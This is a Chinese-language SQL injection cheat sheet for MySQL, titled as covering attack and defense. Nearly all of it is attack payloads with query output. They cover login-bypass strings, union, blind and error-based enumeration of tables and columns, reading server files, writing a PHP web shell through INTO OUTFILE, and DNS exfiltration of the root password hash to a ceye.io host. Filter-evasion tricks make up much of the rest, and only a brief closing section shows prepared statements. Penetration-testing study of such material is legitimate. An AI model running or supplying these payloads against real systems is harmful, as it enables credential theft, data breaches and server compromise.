MySQL 注入攻击与防御

测试注入

对于字符串的测试

1' or '1'='1
1" or "1"="1
1' or 1=1 --
1" or 1=1 --
1' || '1'='1

mysql> select * from user where id='1''';
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  1 | admin    | admin | 2a72     |
+----+----------+-------+----------+

mysql> select 1 from user where id='1'''''''''union select '2';
+---+
| 1 |
+---+
| 1 |
| 2 |

对数字类型的测试

1 and 1
1 and 0
1 and true
1 and false

mysql> select * from user where id=2-1;
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  1 | admin    | admin | 2a72     |
+----+----------+-------+----------+

对登录的测试

' or '1
' or 1 --
" or ""="
" or 1=1 --
'='
'like'
'=0 --

mysql> select * from user where username = 'admin' and password=''or''='';
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  1 | admin    | admin | 2a72     |
|  2 | zzz      | admin | a72      |
|  3 | test     | test  |          |
+----+----------+-------+----------+

mysql> select * from user where username = 'zzz' and password=''like'1';
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  2 | zzz      | admin | a72      |
+----+----------+-------+----------+

获取信息

获取数据库信息 - 版本&主机名&用户&库名

  • 版本信息 version() @@version @@global.version
  • 主机名 @@hostname
  • 用户名 user() current_user() system_user() session_user()
  • 库名 database() select schema_name from information_schema.schamata; select distinct(db) from mysql.db;
  • 获取 MySQL 安装路径 @@basedir
  • 读取数据库路径 @@datadir

数据信息 - 表和字段

确定字段数

有两种方式:

  • order by
  • select ... into
order by

字段个数小于输入数的时候会报错,如下:

mysql> select id, username from user order by 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'

字段个数大于等于输入时,不报错:

mysql> select id, username from user where id=-1 order by 1;
Empty set (0.00 sec)
select ... into

从一个表中选取数据,然后把数据插入另一个表中,要求两表字段数相同,所以可以用这个方法判断出表的字段数。

字段数量判断正确:

mysql> select username from user where id=1 union select 1 into @;
ERROR 3061 (42000): User variable name '' is illegal

字段数量判断正确:

mysql> select username from user where id=1 into @,@;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

如果支持 limit 则:

# 字段数量判断正确

mysql> select username from user where id=1 limit 1,1 into @;
Query OK, 0 rows affected, 1 warning (0.00 sec)

# 字段数量判断错误

mysql> select username from user where id=1 limit 1,1 into @,@;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
判断已知表名的字段数

如果已知表名,而且显示报错,则可以:

mysql> select (select * from user)=1;
ERROR 1241 (21000): Operand should contain 4 column(s)

由报错可以看出有四列。

查表名

主要有三种方式:

  • union 查询,知道字段数可以使用 union 查询: mysql> select username from user where id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database(); +-----------+ | username | +-----------+ | test,user | +-----------+
  • blind 盲注,使用if, sleepmysql> select ((select substr(table_name, 1,1) from information_schema.tables limit 1,1) > 'A'); +-----------------------------------------------------------------------------------+ | ((select substr(table_name, 1,1) from information_schema.tables limit 1,1) > 'A') | +-----------------------------------------------------------------------------------+ | 1 | +-----------------------------------------------------------------------------------+
  • ERROR 报错,有 floor/ceil, extractvalue, updatexml ``` mysql> select username from user where id=1 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '~test~1' for key ''

    mysql> select username from user where id=1 and extractvalue(1,concat(0x3a, (select group_concat(table_name) from informationn_schema.tables where table_schema regexp database()))); ERROR 1105 (HY000): XPATH syntax error: ':test,user' ```

查列名

有四种方式:

  • union 查询
  • blind 盲注
  • error 报错
  • 如果支持 limit 还可以用 procedure analyse()
# union 查询
mysql> select username from user where id=-1 union select group_concat(column_name) from information_schema.columns where table_name='test';
+-------------+
| username    |
+-------------+
| id,username |
+-------------+

# blind 盲注 
mysql> select ((select substr(column_name,1,1) from information_schema.columns where table_name='user' limit 1,1 ) > 'A');
+-------------------------------------------------------------------------------------------------------------+
| ((select substr(column_name,1,1) from information_schema.columns where table_name='user' limit 1,1 ) > 'A') |
+-------------------------------------------------------------------------------------------------------------+
|                                                                                                           1 |
+-------------------------------------------------------------------------------------------------------------+

# error 
updatexml()
extractvalue()
floor() + count() + rand()

# procedure analyse()
mysql> select * from user limit 1,1 procedure analyse();

文件操作

在 MySQL 中,存在 secure_file_priv 的全局系统变量。该变量用于限制数据的导入和导出操作,如 select ... into outfile 'abstract_path' 语句和 load_file('abstrcat_path')

如果 secure_file_priv 为空则可以直接使用函数,如果为 null 则不能使用。在 mysql 的 5.5.53 之前的版本是默认为空,之后的版本为 null ,即将这个功能禁掉了。

mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv    |
+-----------------------+
| /var/lib/mysql-files/ |

读文件

使用 load_file() 函数,支持使用 16 进制:

mysql> select load_file('/var/lib/mysql-files/1.txt');
+-----------------------------------------+
| load_file('/var/lib/mysql-files/1.txt') |
+-----------------------------------------+
| this is test
                           |
+-----------------------------------------+

# 16 进制,要以 0x 开头 
mysql> select hex('/var/lib/mysql-files/1.txt');
+------------------------------------------------------+
| hex('/var/lib/mysql-files/1.txt')                    |
+------------------------------------------------------+
| 2F7661722F6C69622F6D7973716C2D66696C65732F312E747874 |
+------------------------------------------------------+
1 row in set (0.00 sec)
mysql> select load_file(0x2F7661722F6C69622F6D7973716C2D66696C65732F312E747874);
+-------------------------------------------------------------------+
| load_file(0x2F7661722F6C69622F6D7973716C2D66696C65732F312E747874) |
+-------------------------------------------------------------------+
| this is test
                                                     |
+-------------------------------------------------------------------+

写文件

使用 into outfile/dumpfile,其中:

  • into outfile 不会覆盖文件,如果文件存在则会报错
  • into dumpfile 在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
mysql> SELECT "<? system($_GET['c']); ?>" INTO OUTFILE '/var/lib/mysql-files/2.php';
Query OK, 1 row affected (0.00 sec)

外带通道

带外通道攻击主要是利用其他协议或者渠道从服务器提取数据。 它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等。

条件限制

  • 绝对路径
  • ecure_file_priv变量为空那么直接可以使用函数,如果为null或者其他是不能使用,mysql 的 5.5.53之前的版本是默认为空,之后的版本为null

DNS 注入

利用 http://ceye.io 等平台:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

# 16 进制
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),0x2E6D7973716C2E69702E706F72742E623138326F6A2E636579652E696F5C616263));

绕过技巧

字符串连接

# 注意空格
mysql> select 'a' 'd' 'mi' 'n';
+-------+
| a     |
+-------+
| admin |
+-------+

mysql> select concat('a', 'd', 'm', 'i', 'n');
+---------------------------------+
| concat('a', 'd', 'm', 'i', 'n') |
+---------------------------------+
| admin                           |
+---------------------------------+

mysql> select concat_ws('', 'a', 'd', 'm', 'in');
+------------------------------------+
| concat_ws('', 'a', 'd', 'm', 'in') |
+------------------------------------+
| admin                              |
+------------------------------------+

mysql> select group_concat('a', 'd', 'm', 'i', 'n');
+---------------------------------------+
| group_concat('a', 'd', 'm', 'i', 'n') |
+---------------------------------------+
| admin                                 |
+---------------------------------------+

绕过单引号

mysql> select * from user where username = 0x61646d696e;
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  1 | admin    | admin | 2a72     |
+----+----------+-------+----------+

mysql> select * from user where username=char(97, 100, 109, 105, 110);
+----+----------+-------+----------+
| id | username | role  | password |
+----+----------+-------+----------+
|  1 | admin    | admin | 2a72     |
+----+----------+-------+----------+

大小写绕过

?id=1+UniOn+seleCT+1,2,3--

替换绕过

?id=1+UNunionION+SEselectLECT+1,2,3-- 

注释绕过

?id=1+un/**/ion+se/**/lect+1,2,3-- 

特殊嵌入绕过

?id=1/*!UnIoN*/SeLecT+1,2,3--

宽字节注入

用于绕过addslashes 等对特殊字符进行转义的绕过,\ 的十六进制为 %5c,在输入 %bf%27 时,函数遇到单引号时自动加入加入 %5c,此时变成 %bf%5c%27%bf%5c 在 gbk 中变成一个宽字符"縗"。 %bf 可以是 %81-%fe 中间任何字符。

绕空格

特殊字符绕过空格

字符 含义
09 horizontal tab
0A new line
0B vertical tab
0C new page
0D carriage return
A0 Non-breaking space
20 space
# 例,其中 '%23' 为 '#' 
'%0Aunion%09select%0Bnull%20%23

括号绕过空格

union(select(column)from(table))

and/or 后插入字符绕过空格

任意混合+ – ~ !可以达到绕过空格的效果,必须是在 and/or 后边 :

# 偶数个 -
mysql> select * from user where id=1 and-++-1=0;
Empty set (0.00 sec)

# 奇数个 !
mysql> select * from user where id=1 and!!~~~~!1=0;
Empty set (0.00 sec)

注释符&引号

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";

编码绕过

URL Encoding,将关键词部分使用 URL 编码:

select %74able_%6eame from information_schema.tables;

Double URL Encoding,将关键词部分使用 两次 URL 编码:

select %2574able_%256eame from information_schema.tables;
# 将 % 又进行了 URL 编码成 %25

Unicode Encoding,将关键词部分进行 Unicode 编码:

select %74able_%6eame from information_schema.tables;

关键字绕过

测试关键词: information_schema.tables :

# 空格 
information_schema . tables

# 反引号 
`information_schema`.`tables`

# 特殊符
/*!information_schema.tables*/

认证绕过

使用 =,使得最终的语句类似为 ''='',这里是两对单引号:

select data from user where name=''='';

使用类型转换绕过: http://zzzsdust.com/articles/23/

HTTP 参数污染(HPP)

HPP 全称为 HTTP Parameter Pollution,可以通过 HPP 绕过 waf 。

具体服务端处理方式如下:

Web 服务器 参数获取函数 获取到的参数
PHP/Apache $_GET['Par'] Last
JSP/Tomcat Request.getParameter("par") First
ASP.NET/IIS Request.Parameter("par") ALL(concatenation by comma)
Python/Apache request.args.get("par") ALL(List)

利用:

show_user.aspx?id=5;select+1&id=2&id=3+from+users+where+id=1-- 

防御手段

MYSQLI

$stmt = $db->prepare('update name set name = ? where id = ?');
$stmt->bind_param('si',$name,$id);
$stmt->execute();

ODBC

$stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' );
$success = odbc_execute( $stmt, array($email) );

$dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email));
$sth = $dbh->prepare('SELECT * FROM users WHERE email = :email');
$sth->execute(array(':email' => $email));